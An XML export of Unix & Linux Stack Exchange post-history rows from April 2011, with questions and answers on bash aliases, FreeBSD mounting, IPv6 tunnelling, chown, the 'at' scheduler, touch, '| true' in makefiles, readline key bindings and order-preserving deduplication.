  <row Id="29038" PostHistoryTypeId="2" PostId="11919" RevisionGUID="9a6f8474-a94c-418f-bba1-6e2d4d94a953" CreationDate="2011-04-24T14:02:12.393" UserId="2333" Text="When I was using openSUSE 11.3, it came with several aliases already set up. Two that I used a lot were `+` for `pushd .` and `-` for `popd`. Now on Debian, I can't figure out how to create the second one. `alias -=popd` tries to read `-=` as a command option to alias. I've tried putting quotes (both single and double) around it, and preceding it with a backslash, but I just keep getting error messages. Any suggestions?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="29039" PostHistoryTypeId="1" PostId="11919" RevisionGUID="9a6f8474-a94c-418f-bba1-6e2d4d94a953" CreationDate="2011-04-24T14:02:12.393" UserId="2333" Text="How to use - as alias?" />
  <row Id="29040" PostHistoryTypeId="3" PostId="11919" RevisionGUID="9a6f8474-a94c-418f-bba1-6e2d4d94a953" CreationDate="2011-04-24T14:02:12.393" UserId="2333" Text="éaliasà" />
  <row Id="29041" PostHistoryTypeId="2" PostId="11920" RevisionGUID="bbc5437a-31da-4ea1-8058-4df8c3437af0" CreationDate="2011-04-24T14:20:10.787" UserId="6890" Text="try this:&#xD;&#xA;&#xD;&#xA;    alias -- -=popd&#xD;&#xA;&#xD;&#xA;worked at least for me:&#xD;&#xA;&#xD;&#xA;    usr@srv % alias -- -=echo&#xD;&#xA;    usr@srv % - test&#xD;&#xA;    test" />
  <row Id="29042" PostHistoryTypeId="17" PostId="11922" RevisionGUID="ef547ed3-2bb8-4fcd-b93e-996aabafb26a" CreationDate="2011-04-24T14:29:30.620" UserId="-1" Comment="from http://stackoverflow.com/questions/5637592/find-the-dvd-room-path-in-the-freebsd/5771025#5771025" Text="" />
  <row Id="29043" PostHistoryTypeId="2" PostId="11922" RevisionGUID="0feb83c3-051a-4dc7-8a91-8cf20f28195d" CreationDate="2011-04-24T14:17:26.490" UserDisplayName="BWalker" Text="If you have installed from that drive, then generally there will be an entry in fstab.  Try&#xD;&#xA;'cat /etc/fstab' which should list all of the file systems available to the OS.  Look for a line that says something like...&#xD;&#xA;/dev/acd0     /cdrom       cd9660   ro,noauto 0 0&#xD;&#xA;&#xD;&#xA;If that line is present then all you need to do is type 'mount /cdrom' and then 'cd /cdrom' to start browsing the disc.&#xD;&#xA;&#xD;&#xA;Use 'dmesg | more' to walk through the device discovery as the operating system boots up.  For instance, in the VM I'm running mine is listed as:&#xD;&#xA;Hard Drive: ad0&#xD;&#xA;DVDROM: acd0&#xD;&#xA;Hard Drive: ad2&#xD;&#xA;&#xD;&#xA;What you're going to be looking for in dmesg is something like:&#xD;&#xA;&lt;deviceid0&gt;: xxxxxxMB &lt;manufacturer of HD&gt; at usbX ....&#xD;&#xA;&#xD;&#xA;That will be the location of the device, if the device already has contents on it, then you need to know how it was formated.  If the disk is formatted for use with Windows, as an example, you'll want to do something along these lines:&#xD;&#xA;mkdir /usbhd&#xD;&#xA;mount -t msdosfs &lt;deviceid&gt; /usbhd&#xD;&#xA;&#xD;&#xA;And then you can access it via:&#xD;&#xA;cd /usbhd&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29044" PostHistoryTypeId="2" PostId="11921" RevisionGUID="0dd3e0da-7fa5-4721-8ebd-fe171c4ebbae" CreationDate="2011-04-12T15:19:15.383" UserDisplayName="Krax" Text="I do not know what is the path of my dvd-rom and also my external hard drive to mount them in free bsd using mount command&#xD;&#xA; what command should I use to find there path?" />
  <row Id="29045" PostHistoryTypeId="1" PostId="11921" RevisionGUID="0dd3e0da-7fa5-4721-8ebd-fe171c4ebbae" CreationDate="2011-04-12T15:19:15.383" UserDisplayName="Krax" Text="find the dvd room path in the freebsd" />
  <row Id="29046" PostHistoryTypeId="3" PostId="11921" RevisionGUID="0dd3e0da-7fa5-4721-8ebd-fe171c4ebbae" CreationDate="2011-04-12T15:19:15.383" UserDisplayName="Krax" Text="éfreebsdà" />
  <row Id="29047" PostHistoryTypeId="17" PostId="11921" RevisionGUID="cbe6be34-d9fe-4da1-9aef-825db4d8b95f" CreationDate="2011-04-24T14:29:30.620" UserId="-1" Comment="from http://stackoverflow.com/questions/5637592/find-the-dvd-room-path-in-the-freebsd" Text="" />
  <row Id="29048" PostHistoryTypeId="2" PostId="11923" RevisionGUID="9e8356a6-6ac3-430f-b346-672f698e5d68" CreationDate="2011-04-24T14:36:34.657" UserId="2168" Text="In `bash` you can create functions named as such:&#xD;&#xA;&#xD;&#xA;    +() { pushd &quot;$@&quot;; }&#xD;&#xA;    -() { popd &quot;$@&quot;; }" />
  <row Id="29049" PostHistoryTypeId="2" PostId="11924" RevisionGUID="54e02b2a-31c0-4ebd-9a45-d9d66a2069c4" CreationDate="2011-04-24T14:44:14.977" UserId="2168" Text="&gt; How to set up the DNS? Is there any open DNS that supports IPv6? I found articles talking about setting up a private IPv6 DNS. Does that necessary?&#xD;&#xA;&#xD;&#xA;Regarding &quot;supports IPv6&quot;: Make sure you understand the difference between &quot;resolving IPv6 addresses over DNS&quot; and &quot;resolving addresses over DNS over IPv6&quot;.&#xD;&#xA;&#xD;&#xA;The former means translating names to IPv6 addresses (`ipv6.google.com` to `2a00:1450:8006::63`), and it works the same way whether you do it over IPv6 or not. All DNS servers, including public, support this.&#xD;&#xA;&#xD;&#xA;The latter means sending all DNS queries inside IPv6 packets. At this moment, there doesn't seem to be any public DNS server.&#xD;&#xA;&#xD;&#xA;&gt; How to make sure all network traffic go through the IPv6 tunneling?&#xD;&#xA;&#xD;&#xA;All IPv6 traffic will automatically go over the tunnel.&#xD;&#xA;&#xD;&#xA;IPv4 traffic, however, *cannot* be sent over an IPv6 tunnel (unless you set up some kind of v4-in-v6-in-v4, which is just pointless)." />
  <row Id="29050" PostHistoryTypeId="5" PostId="11924" RevisionGUID="1cbc4f79-2a39-4b48-a698-3441688bb00e" CreationDate="2011-04-24T14:53:33.923" UserId="2168" Comment="added 337 characters in body; deleted 5 characters in body" Text="If by &quot;use as a proxy&quot; you meant that you want to provide IPv6 connectivity to your entire network, you need two things:&#xD;&#xA;&#xD;&#xA;  * enable IP(v6) forwarding&#xD;&#xA;  * configure the apropriate prefix advertisements to be sent&#xD;&#xA;&#xD;&#xA;On Linux, this would be `/proc/sys/net/ipv6/conf/all/forwarding` and the `radvd` daemon, respectively.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;&gt; How to set up the DNS? Is there any open DNS that supports IPv6? I found articles talking about setting up a private IPv6 DNS. Does that necessary?&#xD;&#xA;&#xD;&#xA;Regarding &quot;supports IPv6&quot;: Make sure you understand the difference between &quot;resolving IPv6 addresses over DNS&quot; and &quot;resolving addresses over DNS over IPv6&quot;.&#xD;&#xA;&#xD;&#xA;The former means translating names to IPv6 addresses (`ipv6.google.com` to `2a00:1450:8006::63`), and it works the same way whether you do it over IPv6 or not. All DNS servers, including public, support this.&#xD;&#xA;&#xD;&#xA;The latter means sending all DNS queries inside IPv6 packets. At this moment, there doesn't seem to be any public DNS server.&#xD;&#xA;&#xD;&#xA;&gt; How to make sure all network traffic go through the IPv6 tunneling?&#xD;&#xA;&#xD;&#xA;All IPv6 traffic will automatically go over the tunnel.&#xD;&#xA;&#xD;&#xA;IPv4 traffic, however, *cannot* be sent over an IPv6 tunnel (unless you set up some kind of v4-in-v6-in-v4, which is just pointless)." />
  <row Id="29051" PostHistoryTypeId="6" PostId="11881" RevisionGUID="26a0d9fb-29f4-47f3-bde9-c1c7ea6f0d27" CreationDate="2011-04-24T15:02:52.683" UserId="885" Comment="edited tags" Text="ésshàékeyöauthenticationà" />
  <row Id="29052" PostHistoryTypeId="6" PostId="11882" RevisionGUID="1341d01b-5629-4a06-b44a-da3f6be57404" CreationDate="2011-04-24T15:03:38.800" UserId="885" Comment="edited tags" Text="éaudioàéconversionàéflacà" />
  <row Id="29053" PostHistoryTypeId="6" PostId="11919" RevisionGUID="51e2c887-606d-4851-94ae-94cb9ef159b9" CreationDate="2011-04-24T15:05:35.753" UserId="885" Comment="edited tags" Text="ébashàéaliasà" />
  <row Id="29054" PostHistoryTypeId="25" PostId="11919" RevisionGUID="bbb05b7a-4c8e-4b0f-a3e6-bb589eb0ea01" CreationDate="2011-04-24T15:09:10.810" Comment="http://twitter.com/#!/StackUnix/status/62171228953255937" />
  <row Id="29056" PostHistoryTypeId="6" PostId="11902" RevisionGUID="77413134-f329-4177-b1bd-cd65c35770eb" CreationDate="2011-04-24T15:17:47.477" UserId="885" Comment="edited tags" Text="élinuxàépartitionàéencryptionà" />
  <row Id="29059" PostHistoryTypeId="17" PostId="11927" RevisionGUID="bb02fb59-9992-43a0-9521-4a74b5bd7e45" CreationDate="2011-04-24T17:24:57.367" UserId="-1" Comment="from http://stackoverflow.com/questions/5771603/using-chown-in-linux/5771614#5771614" Text="" />
  <row Id="29060" PostHistoryTypeId="17" PostId="11928" RevisionGUID="9c63340e-3ca8-4539-a61b-e3db93cc16ca" CreationDate="2011-04-24T17:24:57.367" UserId="-1" Comment="from http://stackoverflow.com/questions/5771603/using-chown-in-linux/5771615#5771615" Text="" />
  <row Id="29061" PostHistoryTypeId="2" PostId="11927" RevisionGUID="15c2a0b7-8d80-4a09-9014-def56d7da375" CreationDate="2011-04-24T16:06:53.447" UserDisplayName="levu" Text="This is not a unix or ubuntu Q&amp;A (see [askubuntu.com][1] and [unix.stackexchange.com][2]) but you need to do `chown -R www-data /var/www/` (`-R` means recursive).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://askubuntu.com&#xD;&#xA;  [2]: http://unix.stackexchange.com" />
  <row Id="29062" PostHistoryTypeId="2" PostId="11928" RevisionGUID="3b0a2337-39ed-42d9-86fa-680e05ff78c0" CreationDate="2011-04-24T16:06:58.203" UserDisplayName="Ernest Friedman-Hill" Text="Use the &quot;-R&quot; switch to recursively change everything in a directory&#xD;&#xA;&#xD;&#xA;    chown -R www-data /var/www/" />
  <row Id="29063" PostHistoryTypeId="2" PostId="11926" RevisionGUID="56d0caa6-a01d-4888-a216-8be7ae374438" CreationDate="2011-04-24T16:04:30.310" UserDisplayName="user478636" Text="I want to assign www-data user full rights in folder /var/www/ and all of the files inside this folder.&#xD;&#xA;&#xD;&#xA;I have tried `chown www-data /var/www/`" />
  <row Id="29064" PostHistoryTypeId="1" PostId="11926" RevisionGUID="56d0caa6-a01d-4888-a216-8be7ae374438" CreationDate="2011-04-24T16:04:30.310" UserDisplayName="user478636" Text="using chown in linux" />
  <row Id="29065" PostHistoryTypeId="3" PostId="11926" RevisionGUID="56d0caa6-a01d-4888-a216-8be7ae374438" CreationDate="2011-04-24T16:04:30.310" UserDisplayName="user478636" Text="élinuxàéshellàéubuntuà" />
  <row Id="29066" PostHistoryTypeId="17" PostId="11926" RevisionGUID="b46a1789-603f-43a9-94e8-8bc2e5ec8cd3" CreationDate="2011-04-24T17:24:57.367" UserId="-1" Comment="from http://stackoverflow.com/questions/5771603/using-chown-in-linux" Text="" />
  <row Id="29067" PostHistoryTypeId="2" PostId="11929" RevisionGUID="c47e4630-1a01-44d0-baab-786181c217e9" CreationDate="2011-04-24T17:31:19.810" UserId="912" Text="I use this&#xD;&#xA;&#xD;&#xA;    sleep 900; &lt;command&gt;&#xD;&#xA;&#xD;&#xA;on my shell. Just wanted to know is there is some alternate/better way that you use?" />
  <row Id="29068" PostHistoryTypeId="1" PostId="11929" RevisionGUID="c47e4630-1a01-44d0-baab-786181c217e9" CreationDate="2011-04-24T17:31:19.810" UserId="912" Text="What is a good way of saying &quot;run this after 15 minutes&quot; on a shell?" />
  <row Id="29069" PostHistoryTypeId="3" PostId="11929" RevisionGUID="c47e4630-1a01-44d0-baab-786181c217e9" CreationDate="2011-04-24T17:31:19.810" UserId="912" Text="élinuxàébashàécommandölineàésleepà" />
  <row Id="29070" PostHistoryTypeId="2" PostId="11930" RevisionGUID="8c6ce35c-bedb-441a-9772-56d646f439d4" CreationDate="2011-04-24T17:40:10.007" UserId="6890" Text="Error code `49` indicates a wrong password!&#xD;&#xA;Please make sure you typed the same password when creating the crypt-hash. Maybe you want to debug this part and use a clear-text password instead a hash at this position in your `slapd.conf`:&#xD;&#xA;&#xD;&#xA;    rootpw {crypt}49/WKVk.6oz3o&#xD;&#xA;&#xD;&#xA;Btw. which ldap version do you use? Afaik it supports better hash mechanisms, like MD5 or SHA1. Not sure, but there may be a problem with the `/` in your crypt hash!?" />
  <row Id="29071" PostHistoryTypeId="2" PostId="11931" RevisionGUID="352b8770-3a5d-446d-acd6-786ba65dea8a" CreationDate="2011-04-24T17:50:13.680" UserId="6890" Text="You are searching for `at` ([at@wikipedia][1])?&#xD;&#xA;&#xD;&#xA;    usr@srv % at now + 15 min&#xD;&#xA;    at&gt; YOUR COMMAND HERE&#xD;&#xA;&#xD;&#xA;Confirm the command with `control+d`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/At_%28Unix%29" />
  <row Id="29072" PostHistoryTypeId="5" PostId="11931" RevisionGUID="ed58cfe7-be21-4748-8701-780f6ced8c06" CreationDate="2011-04-24T18:06:01.950" UserId="6890" Comment="added 101 characters in body" Text="You are searching for `at` ([at@wikipedia][1])?&#xD;&#xA;&#xD;&#xA;    usr@srv % at now + 15 min&#xD;&#xA;    at&gt; YOUR COMMAND HERE&#xD;&#xA;&#xD;&#xA;You can define multiple commands that should be executed in 15 min, seperate them with a return.  &#xD;&#xA;Confirm all commands with `control+d`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/At_%28Unix%29" />
  <row Id="29073" PostHistoryTypeId="25" PostId="11926" RevisionGUID="003a52d8-6e16-4b8b-8ca4-2b809d21c701" CreationDate="2011-04-24T18:09:10.913" Comment="http://twitter.com/#!/StackUnix/status/62216529160314880" />
  <row Id="29074" PostHistoryTypeId="2" PostId="11932" RevisionGUID="e6d1ea84-0e39-4692-bb8f-bc1577b350ac" CreationDate="2011-04-24T19:32:36.497" UserId="2897" Text="Is there a command to create multiple files in the current directory? i.e. if I would like to create `__init__.py`, `views.py`, `models.py` and `admin.py` as follows:&#xD;&#xA;&#xD;&#xA;    &gt; COMMAND __init__.py views.py models.py admin.py&#xD;&#xA;&#xD;&#xA;What would `COMMAND` be?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="29075" PostHistoryTypeId="1" PostId="11932" RevisionGUID="e6d1ea84-0e39-4692-bb8f-bc1577b350ac" CreationDate="2011-04-24T19:32:36.497" UserId="2897" Text="bash: a command to create multiple files in the current directory" />
  <row Id="29076" PostHistoryTypeId="3" PostId="11932" RevisionGUID="e6d1ea84-0e39-4692-bb8f-bc1577b350ac" CreationDate="2011-04-24T19:32:36.497" UserId="2897" Text="ébashàéfilesà" />
  <row Id="29077" PostHistoryTypeId="2" PostId="11933" RevisionGUID="ba8408ff-dc84-40ec-947f-d0c014f0f393" CreationDate="2011-04-24T19:34:20.100" UserId="4531" Text="I would like to be able to copy and paste text in Bash using the same keyboard bindings that Emacs uses by default (i.e. using `C-space` for `set-mark`, `M-w` to copy text, `C-y`, `M-y` to paste it, etc.).&#xD;&#xA;&#xD;&#xA;The [GNU Bash documentation][1] says that by default, Bash comes with some of these key bindings already set up by default. &#xD;&#xA;&#xD;&#xA;I checked and yank (C-y) and kill line (C-e) work by default already. However, I can't get the `set-mark` (in Emacs, `C-space`) and `copy` (in Emacs, `M-w`) commands to work.&#xD;&#xA;&#xD;&#xA;I found the following entries in the documentation:&#xD;&#xA;&#xD;&#xA;    copy-region-as-kill ()&#xD;&#xA;&gt; Copy the text in the region to the&#xD;&#xA;&gt; kill buffer, so it can be yanked right&#xD;&#xA;&gt; away. By default, this command is&#xD;&#xA;&gt; unbound.&#xD;&#xA;&#xD;&#xA;and  &#xD;&#xA;&#xD;&#xA;    set-mark (C-@)&#xD;&#xA;&#xD;&#xA;&gt; Set the mark to the point. If a&#xD;&#xA;&gt; numeric argument is supplied, the mark&#xD;&#xA;&gt; is set to that position.&#xD;&#xA;&#xD;&#xA;Which I believe means that `copy-region-as-kill` is not bound to any keyboard sequence, while `set-mark` is bound by default to `C-@` (I presume these functions are the ones I need to define the Emacs-like `set-mark` and `copy` key bindings)&#xD;&#xA;&#xD;&#xA;I have tried defining keyboard bindings to these commands in `.inputrc` and reloading it `C-x C-r`. I know general entries in my `.inputrc` work because I have others defined as well, but I can't get `copy` and `set-mark` to work.&#xD;&#xA;&#xD;&#xA;Any thoughts?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/bash/manual/bashref.html#Command-Line-Editing" />
  <row Id="29078" PostHistoryTypeId="1" PostId="11933" RevisionGUID="ba8408ff-dc84-40ec-947f-d0c014f0f393" CreationDate="2011-04-24T19:34:20.100" UserId="4531" Text="Copy and set-mark in Bash as in Emacs?" />
  <row Id="29079" PostHistoryTypeId="3" PostId="11933" RevisionGUID="ba8408ff-dc84-40ec-947f-d0c014f0f393" CreationDate="2011-04-24T19:34:20.100" UserId="4531" Text="ébashà" />
  <row Id="29080" PostHistoryTypeId="2" PostId="11934" RevisionGUID="a93daffb-88c8-457a-b271-4809e87b8ca2" CreationDate="2011-04-24T19:34:27.310" UserId="2671" Text="`touch __init__.py views.py models.py admin.py`" />
  <row Id="29081" PostHistoryTypeId="5" PostId="11933" RevisionGUID="4be8e976-8bf3-4773-b1c2-3f2644a3d59b" CreationDate="2011-04-24T19:39:36.287" UserId="4531" Comment="added 1 characters in body; deleted 21 characters in body; deleted 23 characters in body; added 15 characters in body; deleted 40 characters in body; added 11 characters in body; added 67 characters in body" Text="I would like to be able to copy and paste text in Bash using the same keyboard bindings that Emacs uses by default (i.e. using `C-space` for `set-mark`, `M-w` to copy text, `C-y`, `M-y` to paste it, etc.).&#xD;&#xA;&#xD;&#xA;The [GNU Bash documentation][1] says that Bash comes with some of these key bindings set up by default. &#xD;&#xA;&#xD;&#xA;I checked and yank `C-y` does work by default on my terminal. However, I can't get the `set-mark` and `copy` commands to work.&#xD;&#xA;&#xD;&#xA;I found the following entries in the documentation:&#xD;&#xA;&#xD;&#xA;    copy-region-as-kill ()&#xD;&#xA;&gt; Copy the text in the region to the&#xD;&#xA;&gt; kill buffer, so it can be yanked right&#xD;&#xA;&gt; away. By default, this command is&#xD;&#xA;&gt; unbound.&#xD;&#xA;&#xD;&#xA;and  &#xD;&#xA;&#xD;&#xA;    set-mark (C-@)&#xD;&#xA;&#xD;&#xA;&gt; Set the mark to the point. If a&#xD;&#xA;&gt; numeric argument is supplied, the mark&#xD;&#xA;&gt; is set to that position.&#xD;&#xA;&#xD;&#xA;Which I believe means that `copy-region-as-kill` is not bound to any keyboard sequence by default, while `set-mark` is bound to `C-@` by default. I presume these functions are the ones I need to define the Emacs-like `set-mark` and `copy` key bindings.&#xD;&#xA;&#xD;&#xA;I have tried defining keyboard bindings to these commands in `.inputrc` and reloading it with `C-x C-r`. I know that in general my entries in `.inputrc` work because I have other user-defined keybindings defined in it, however, but I can't get `copy` and `set-mark` to work.&#xD;&#xA;&#xD;&#xA;Any thoughts? Am I missing anything?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/bash/manual/bashref.html#Command-Line-Editing" />
  <row Id="29082" PostHistoryTypeId="2" PostId="11935" RevisionGUID="e4f6321b-8963-4e40-ae22-a45176d7e6c2" CreationDate="2011-04-24T19:44:41.963" UserId="6890" Text="    touch {__init__,views,models,admin}.py" />
  <row Id="29084" PostHistoryTypeId="2" PostId="11936" RevisionGUID="f35483d3-e694-4cfa-a088-73a0b91890dc" CreationDate="2011-04-24T19:51:19.773" UserId="912" Text="I use VNC to connect to a hosted machine. Whenever I start a VNC server at some port and connect to it, I first need to setup my shells for me - 5 of them in a particular configuration that I like and then start my work.&#xD;&#xA;&#xD;&#xA;Is there a way to automate this task so that whenever a VNC server is started, my shells are already configured and ready for me to use?" />
  <row Id="29085" PostHistoryTypeId="1" PostId="11936" RevisionGUID="f35483d3-e694-4cfa-a088-73a0b91890dc" CreationDate="2011-04-24T19:51:19.773" UserId="912" Text="How can I program vncserver to automatically setup my shells for me?" />
  <row Id="29086" PostHistoryTypeId="3" PostId="11936" RevisionGUID="f35483d3-e694-4cfa-a088-73a0b91890dc" CreationDate="2011-04-24T19:51:19.773" UserId="912" Text="élinuxàéshellàécommandölineàévncà" />
  <row Id="29088" PostHistoryTypeId="5" PostId="11933" RevisionGUID="0dae3a55-46df-4a9d-8bd4-ba5e22509640" CreationDate="2011-04-24T19:54:09.233" UserId="4531" Comment="added 20 characters in body; deleted 5 characters in body; added 197 characters in body; deleted 5 characters in body" Text="I would like to be able to copy and paste text in the command line in Bash using the same keyboard bindings that Emacs uses by default (i.e. using `C-space` for `set-mark`, `M-w` to copy text, `C-y`, `M-y` to paste it, etc.).&#xD;&#xA;&#xD;&#xA;The [GNU Bash documentation][1] says that Bash comes with some of these key bindings set up by default. &#xD;&#xA;&#xD;&#xA;For example, yank `C-y` works by default on my terminal. However, I can't get the `set-mark` and `copy` commands to work, and they don't seem to be bound to any keys by default.&#xD;&#xA;&#xD;&#xA;Usually, the way to define user key bindings is to add them to `.inputrc`. So I looked and found the following bash functions in the documentation that I presume can help me define the Emacs-like behavior that I want (i.e. `set-mark` with `C-space` and `copy` with `M-w`).&#xD;&#xA;&#xD;&#xA;    copy-region-as-kill ()&#xD;&#xA;&gt; Copy the text in the region to the&#xD;&#xA;&gt; kill buffer, so it can be yanked right&#xD;&#xA;&gt; away. By default, this command is&#xD;&#xA;&gt; unbound.&#xD;&#xA;&#xD;&#xA;and  &#xD;&#xA;&#xD;&#xA;    set-mark (C-@)&#xD;&#xA;&#xD;&#xA;&gt; Set the mark to the point. If a&#xD;&#xA;&gt; numeric argument is supplied, the mark&#xD;&#xA;&gt; is set to that position.&#xD;&#xA;&#xD;&#xA;If I understand correctly, the above means that `copy-region-as-kill` is not bound to any keyboard sequence by default, while `set-mark` is bound to `C-@` by default. &#xD;&#xA;&#xD;&#xA;I have tried defining keyboard bindings to these commands in `.inputrc` and reloading it with `C-x C-r`. I know that in general my entries in `.inputrc` work because I have other user-defined keybindings defined in it, however, but I can't get `copy` and `set-mark` to work.&#xD;&#xA;&#xD;&#xA;Any thoughts? Am I missing anything?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/bash/manual/bashref.html#Command-Line-Editing" />
  <row Id="29089" PostHistoryTypeId="2" PostId="11937" RevisionGUID="1ecd2ee7-20ab-4bd4-86fb-4550ad3854d1" CreationDate="2011-04-24T19:59:14.907" UserId="3125" Text="I have a makefile where I'm stopping a service before removing a file. When it couldn't stop the service, it would break on error. This is clearly unwanted so I thought I'd add `|| true` but missed a `|`. Making it:&#xD;&#xA;&#xD;&#xA;    stop service foo | true&#xD;&#xA;    rm /etc/init/foo.conf&#xD;&#xA;&#xD;&#xA;I'm confused as to why this is working and what is happening. Does this mean that `true` is an application and not merely a keyword? Are they the same? Is there a good reason to use `| true`?" />
  <row Id="29090" PostHistoryTypeId="1" PostId="11937" RevisionGUID="1ecd2ee7-20ab-4bd4-86fb-4550ad3854d1" CreationDate="2011-04-24T19:59:14.907" UserId="3125" Text="I'm confused as to why &quot;| true&quot; in a makefile has the same effect as &quot;|| true&quot;" />
  <row Id="29091" PostHistoryTypeId="3" PostId="11937" RevisionGUID="1ecd2ee7-20ab-4bd4-86fb-4550ad3854d1" CreationDate="2011-04-24T19:59:14.907" UserId="3125" Text="émakeà" />
  <row Id="29092" PostHistoryTypeId="5" PostId="11933" RevisionGUID="ba59a510-3db0-4bd9-86dc-0c5da7b49225" CreationDate="2011-04-24T19:59:16.000" UserId="4531" Comment="added 6 characters in body; added 11 characters in body; added 69 characters in body" Text="I would like to be able to copy and paste text in the command line in Bash using the same keyboard bindings that Emacs uses by default (i.e. using `C-space` for `set-mark`, `M-w` to copy text, `C-y`, `M-y` to paste it, etc.).&#xD;&#xA;&#xD;&#xA;The [GNU Bash documentation][1] says that Bash comes with some of these key bindings set up by default. &#xD;&#xA;&#xD;&#xA;For example, yank `C-y` works by default on my terminal. However, I can't get the `set-mark` and `copy` commands to work, and they don't seem to be bound to any keys by default.&#xD;&#xA;&#xD;&#xA;Usually, the way a user can define her own key bindings is to add them to `.inputrc`. So I looked and found the following bash functions in the documentation that I presume can help me define the Emacs-like behavior that I want (i.e. `set-mark` with `C-space` and `copy` with `M-w`).&#xD;&#xA;&#xD;&#xA;    copy-region-as-kill ()&#xD;&#xA;&gt; Copy the text in the region to the&#xD;&#xA;&gt; kill buffer, so it can be yanked right&#xD;&#xA;&gt; away. By default, this command is&#xD;&#xA;&gt; unbound.&#xD;&#xA;&#xD;&#xA;and  &#xD;&#xA;&#xD;&#xA;    set-mark (C-@)&#xD;&#xA;&#xD;&#xA;&gt; Set the mark to the point. If a&#xD;&#xA;&gt; numeric argument is supplied, the mark&#xD;&#xA;&gt; is set to that position.&#xD;&#xA;&#xD;&#xA;If I understand correctly, the above means that `copy-region-as-kill` is not bound to any keyboard sequence by default, while `set-mark` is bound to `C-@` by default. &#xD;&#xA;&#xD;&#xA;At this point I noticed `C-@` does not work on my terminal. In any case I tried adding  keyboard bindings (`M-w` and `C- `) to these functions in my `.inputrc` and then reloading it with `C-x C-r`, but this didn't work. I know that my entries in `.inputrc` work in general because I have other user-defined keybindings defined.&#xD;&#xA;&#xD;&#xA;Is there anything I am doing wrong? Am I missing anything?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/bash/manual/bashref.html#Command-Line-Editing" />
  <row Id="29093" PostHistoryTypeId="2" PostId="11938" RevisionGUID="2713040e-980b-4204-8ee4-71cedc2d28c1" CreationDate="2011-04-24T20:07:29.420" UserId="73" Text="`true` and `false` are [coreutils](http://www.gnu.org/software/coreutils/) (also typically shell built-ins) that just return 0 and non-0, for situations where you happen to need that behavior. From the man pages:&#xD;&#xA;&#xD;&#xA;&gt; true - do nothing, successfully  &#xD;&#xA;&gt; false - do nothing, unsuccessfully&#xD;&#xA;&#xD;&#xA;So you're piping the output from `stop service foo` into `true`, which ignores it and returns 0. Technically it works, but you should probably use `|| true` so it's obvious what your intention was; there's really no reason to pipe output into a program that's not using it" />
  <row Id="29094" PostHistoryTypeId="5" PostId="11933" RevisionGUID="34a25622-d1f2-459a-8b32-a56eef36277d" CreationDate="2011-04-24T20:18:37.533" UserId="4531" Comment="added 5 characters in body; added 73 characters in body; deleted 1 characters in body; added 43 characters in body; added 10 characters in body" Text="I would like to be able to copy and paste text in the command line in Bash using the same keyboard bindings that Emacs uses by default (i.e. using `C-space` for `set-mark`, `M-w` to copy text, `C-y`, `M-y` to paste it, etc.).&#xD;&#xA;&#xD;&#xA;The [GNU Bash documentation][1] says that Bash comes with some of these key bindings set up by default. &#xD;&#xA;&#xD;&#xA;For example, yanking (`C-y`) works by default on my terminal. However, I can't get the `set-mark` and `copy` commands to work, and they don't seem to be bound to any keys by default.&#xD;&#xA;&#xD;&#xA;Usually, the way a user can define her own key bindings is to add them to `.inputrc`. So I looked and found the following bash functions in the documentation that I presume can help me define the Emacs-like behavior that I want (i.e. `set-mark` with `C-space` and `copy` with `M-w`).&#xD;&#xA;&#xD;&#xA;    copy-region-as-kill ()&#xD;&#xA;&gt; Copy the text in the region to the&#xD;&#xA;&gt; kill buffer, so it can be yanked right&#xD;&#xA;&gt; away. By default, this command is&#xD;&#xA;&gt; unbound.&#xD;&#xA;&#xD;&#xA;and  &#xD;&#xA;&#xD;&#xA;    set-mark (C-@)&#xD;&#xA;&#xD;&#xA;&gt; Set the mark to the point. If a&#xD;&#xA;&gt; numeric argument is supplied, the mark&#xD;&#xA;&gt; is set to that position.&#xD;&#xA;&#xD;&#xA;If I understand correctly, the above means that `copy-region-as-kill` is not bound to any keyboard sequence by default, while `set-mark` is bound to `C-@` by default. &#xD;&#xA;&#xD;&#xA;I tried `C-@` on my terminal, but I don't think it runs `set-mark` because I don't see any text highlighted when I move my cursor. In any case, I tried adding  keyboard bindings (`M-w` and `C- `) to the functions  `copy-region-as-kill` and `set-mark` above in my `.inputrc` and then reloading it with `C-x C-r`, but this didn't work. I know that my other entries in `.inputrc` work because I have other user-defined keybindings defined in it.&#xD;&#xA;&#xD;&#xA;Is there anything I am doing wrong? Am I missing anything?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/bash/manual/bashref.html#Command-Line-Editing" />
  <row Id="29095" PostHistoryTypeId="2" PostId="11939" RevisionGUID="151c0e6a-33ad-4dbf-b93e-6be4faf198bd" CreationDate="2011-04-24T20:23:47.233" UserId="912" Text="    $ cat data.txt &#xD;&#xA;    aaaaaa&#xD;&#xA;    aaaaaa&#xD;&#xA;    cccccc&#xD;&#xA;    aaaaaa&#xD;&#xA;    aaaaaa&#xD;&#xA;    bbbbbb&#xD;&#xA;    $ cat data.txt | uniq&#xD;&#xA;    aaaaaa&#xD;&#xA;    cccccc&#xD;&#xA;    aaaaaa&#xD;&#xA;    bbbbbb&#xD;&#xA;    $ cat data.txt | sort | uniq&#xD;&#xA;    aaaaaa&#xD;&#xA;    bbbbbb&#xD;&#xA;    cccccc&#xD;&#xA;    $&#xD;&#xA;&#xD;&#xA;The result that I need is to **display all the lines from the original file removing all the duplicates (not just the consecutive ones), while maintaining the original order of statements in the file**.&#xD;&#xA;&#xD;&#xA;Here, in this example, the result that I actually was looking for was&#xD;&#xA;&#xD;&#xA;    aaaaaa&#xD;&#xA;    cccccc&#xD;&#xA;    bbbbbb&#xD;&#xA;&#xD;&#xA;How can I perform this generalized `uniq` operation in general?" />
